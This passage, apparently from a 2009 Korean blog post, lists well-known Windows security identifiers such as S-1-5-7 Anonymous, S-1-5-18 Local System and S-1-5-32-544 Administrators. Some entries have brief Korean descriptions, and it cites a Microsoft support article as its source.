서비스로 로그온한 모든 보안 사용자를 포함하는 그룹입니다. 구성원 자격은 운영 체제에서 제어합니다.

SID: S-1-5-7
Name: Anonymous
사용자 이름이나 암호 없이 컴퓨터에 연결한 사용자입니다.

SID: S-1-5-8
Name: Proxy

SID: S-1-5-9
Name: Enterprise Domain Controllers

SID: S-1-5-11
Name: Authenticated Users
ID가 인증된 모든 사용자와 컴퓨터를 포함합니다. Guest는 Guest 계정에 암호가 있어도 Authenticated Users에 포함되지 않습니다.

SID: S-1-5-13
Name: Terminal Server Users
터미널 서비스 버전 4.0 응용 프로그램 호환 모드를 사용 중인 터미널 서비스 서버에 로그온한 모든 사용자를 포함합니다.

SID: S-1-5-18
Name: Local System

SID: S-1-5-19
Name: NT Authority

SID: S-1-5-20
Name: NT Authority

SID: S-1-5-32-544
Name: Administrators

SID: S-1-5-32-545
Name: Users

SID: S-1-5-32-546
Name: Guests

SID: S-1-5-32-547
Name: Power Users

SID: S-1-5-32-551
Name: Backup Operators

http://support.microsoft.com:80/default.aspx?scid=kb;en-us;243330





2009/08/25 14:18 2009/08/25 14:18